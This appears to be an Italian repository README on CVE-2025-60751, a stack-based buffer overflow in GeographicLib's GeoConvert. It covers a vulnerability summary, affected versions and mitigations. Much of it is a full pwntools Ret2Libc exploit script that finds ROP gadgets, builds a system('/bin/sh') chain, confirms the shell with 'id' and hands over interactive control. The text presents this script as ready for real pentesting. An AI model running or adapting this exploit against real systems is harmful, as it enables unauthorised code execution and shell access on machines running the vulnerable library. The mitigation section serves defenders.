
Analisi tecnica ed exploit professionale per CVE-2025-60751, un buffer overflow basato su stack in GeographicLib. Include un exploit Ret2Libc basato su pwntools con scoperta dinamica di gadget ROP, integrazione GDB e verifica post-exploit per test di penetrazione educativi.
📌 Questo repository contiene l'analisi e la documentazione tecnica della vulnerabilità CVE-2025-60751, un errore di overflow del buffer basato sullo stack (Stack-based Buffer Overflow) localizzato nella libreria C++ GeographicLib.
La vulnerabilità si trova nella funzione DMS::InternalDecode all'interno del componente GeoConvert.
L'errore si verifica quando la libreria tenta di elaborare stringhe di coordinate in formato DMS (Gradi, Minuti, Secondi) malformate o eccessivamente lunghe, causando una scrittura oltre i limiti del buffer allocato nello stack.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow ()7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HUn attaccante remoto può inviare una stringa di coordinate appositamente progettata per:
GeographicLib per convertire coordinate.⚠️ Nota tecnica: Sebbene il vettore attuale si concentri sulla Disponibilità (
A:H), in ambienti specifici senza protezioni moderne della memoria (come Stack Canaries, NX bit o ASLR attivo), questo errore potrebbe potenzialmente scalare a esecuzione arbitraria di codice.
| Prodotto | Versione vulnerabile | Distribuzioni rilevate |
|---|---|---|
GeographicLib | 2.5 | Pacchetti in Debian LTS, Ubuntu, e altri repository Linux che integrano questa versione |
✅ Aggiornamento: Si raccomanda vivamente di aggiornare all'ultima versione disponibile di GeographicLib, dove è stata corretta la validazione della lunghezza in InternalDecode.
✅ Validazione dell'Input: Se non è possibile aggiornare, implementare uno strato di sanitizzazione che limiti la lunghezza delle stringhe inviate a DMS::Decode (es. max. 32 caratteri).
✅ Compilazione Sicura: Assicurarsi di compilare la libreria con flag di protezione dello stack:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattQuesto exploit utilizza pwntools per effettuare un attacco Ret2Libc sfruttando l'overflow del buffer.
A differenza delle versioni base, questa implementazione è robusta, dinamica e verificabile, pronta per ambienti reali di pentesting e laboratori.
| Caratteristica | Beneficio |
|---|---|
ROP(elf) dinamico | Non dipende da gadget hardcoded: li trova automaticamente nel binario. |
Supporto integrato per GDB | Esegue python exploit.py GDB → apre una sessione di debug automatica. |
| Verifica post-exploit | Invia id e conferma la shell prima di consegnare il controllo interattivo. |
RET per stack alignment | Evita crash in system() per allineamento errato (critico in x64). |
Payload strutturato come list + b"".join() | Pulito, leggibile, facile da modificare ed estendere. |
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ Disclaimer
Questo repository ha scopi puramente informativi ed educativi per professionisti della cybersecurity.
L'uso di queste informazioni per scopi illeciti è responsabilità esclusiva dell'utente.
❗ Usa il codice con cautela: solo in ambienti autorizzati, isolati e con permesso esplicito.
🔐 La sicurezza non è una caratteristica — è una disciplina.
📬 Segnalazione di risultati: [email protected]
📦 Repository ufficiale: https://github.com/geographiclib/geographiclib